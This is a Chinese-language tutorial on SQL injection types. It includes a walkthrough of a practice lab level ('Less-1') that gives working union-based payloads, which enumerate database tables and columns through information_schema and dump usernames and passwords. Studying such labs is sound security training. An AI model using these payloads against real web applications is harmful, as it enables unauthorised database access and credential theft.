目录
1、原理
2、sql注入的类型
2.1 数字型注入点
2.2 字符型注入点
2.3 搜索型注入点
2.4 按照数据提交的方式分类
2.5 sql漏洞探索方法
3、复现
3.1 Less-1
SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意操作。
执行数据库查询,并在回显点展示。 用户可以看到数据库查询出错时的错误语句,就可以观察报错语句分析出查询语句结构,从而构造特殊的payload进行注入,并从回显点中获取想要的信息。 (与报错注入不同在拥有回显点,报错注入没有回显点需要通过错误信息查看结果)
其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name=‘admin’ 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:我们需要将这些烦人的引号给处理掉。
select * from 表名 where name='admin' and 1=1 '
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’ 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:
select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
1)我们首先判断是否存在sql注入,提示我们输入数字值的ID作为参数,我们输入一个id=1
2) 当我们输入id=1 与id=2时返回的内容不同,所以我们输入的内容是带入到数据库里面查询了。
3)接下来我们判断sql语句是否是拼接,且是字符型还是数字型。
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
4)联合注入,首先要知道表格有几列,使用的是 order by 如果报错的话就是超过列数,反之。
确定显示位:
我们可以看出显示位是2和3,我们下一步就是把2和3替代掉:
?id=-1'union select 1,database(),version()--+
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
该语句解释: information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。
我们这里得到了四个表名,根据表名我们可以大胆设想账户和密码在user表中:
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
该语句解释:是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。
通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
我们可以看到这里已经查询到了账户名和对应的密码;
我们打开数据库可以来对比一下:与前面的查询一一对应。